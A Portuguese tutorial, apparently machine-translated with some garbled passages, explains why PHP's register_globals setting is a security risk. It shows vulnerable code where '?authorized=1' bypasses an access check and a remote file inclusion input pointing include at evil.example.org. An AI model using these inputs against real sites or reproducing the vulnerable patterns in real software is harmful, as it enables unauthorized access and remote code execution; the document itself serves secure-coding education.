O parâmetro register_globals está desabilitado por padrão nas versões 4.2.0 e superiores do PHP. Embora isto não seja considerado uma vulnerabilidade de segurança, é certamente um risco de segurança. Portanto, register_globals deve sempre ser mascarado durante o desenvolvimento.
Por que isso é um risco à segurança? Cada situação requer uma explicação separada para descrevê-la claramente e é muito difícil dar apenas um exemplo apropriado para cada situação. De qualquer forma, o exemplo mais comum é descrito no manual do PHP:
<?phpif (authenticated_user()){$authorized = true;}if ($authorized){include '/highly/sensitive/data.php';} >Quando o parâmetro register_globals está ativado, esta página pode ser acessada através do parâmetro ?authorized=1, contornando assim o controle de acesso. É claro que esta aparente vulnerabilidade é o resultado de um desenvolvimento deficiente e não de registos globais, mas aumenta claramente o potencial para vulnerabilidades perigosas. Ao eliminar este efeito, as variáveis globais comuns (como $authorized neste exemplo) não serão mais afetadas pelos dados enviados pelo cliente. A melhor maneira é inicializar todas as variáveis e definir o parâmetro error_reporting como E_ALL para que o uso de variáveis não inicializadas não seja ignorado durante o desenvolvimento.
Outro exemplo sobre register_globals é que podem surgir problemas ao usar include para incluir caminhos dinâmicos:
<?phpinclude "$path/script.php";?> Quando o parâmetro register_globals está ativado, esta página pode usar ?path=http%3A % O acesso ao parâmetro 2F%2Fevil.example.org%2F%3F torna o código neste exemplo equivalente ao seguinte código:
<?phpinclude 'http://evil.example.org/?/script.php'; >If the O parâmetro allow_url_fopen está ativado (está ativado por padrão mesmo no recomendado pelo php.ini), isso incluirá arquivos remotos como http://evil.example.org/ bem como arquivos locais. Esta é uma vulnerabilidade de segurança comum encontrada até mesmo em alguns projetos de código aberto muito famosos.
Inicializar $path pode evitar esse perigo oculto sem proteger o parâmetro register_globals. No entanto, erros do desenvolvedor podem resultar em variáveis não inicializadas. Modificar a configuração global para bloquear o parâmetro register_globals pode evitar que esse perigo oculto seja ignorado tanto quanto possível.
A conveniência é sempre boa. No passado, tínhamos que distinguir manualmente entre dados de formulário e variáveis comuns. Também é muito conveniente usar os arrays globais integrados de $_POST e $_GET, e não vale a pena correr o risco causado pela ativação do parâmetro register_globals. Embora eu discorde totalmente de que ativar o parâmetro Register_Globals equivale a segurança fraca, recomendo fortemente desativá-lo.
Deve-se acrescentar que o bloqueio do parâmetro register_globals ajudará os desenvolvedores a prestar mais atenção à fonte dos dados, e essa é exatamente a qualidade que um desenvolvedor preocupado com a segurança deve ter.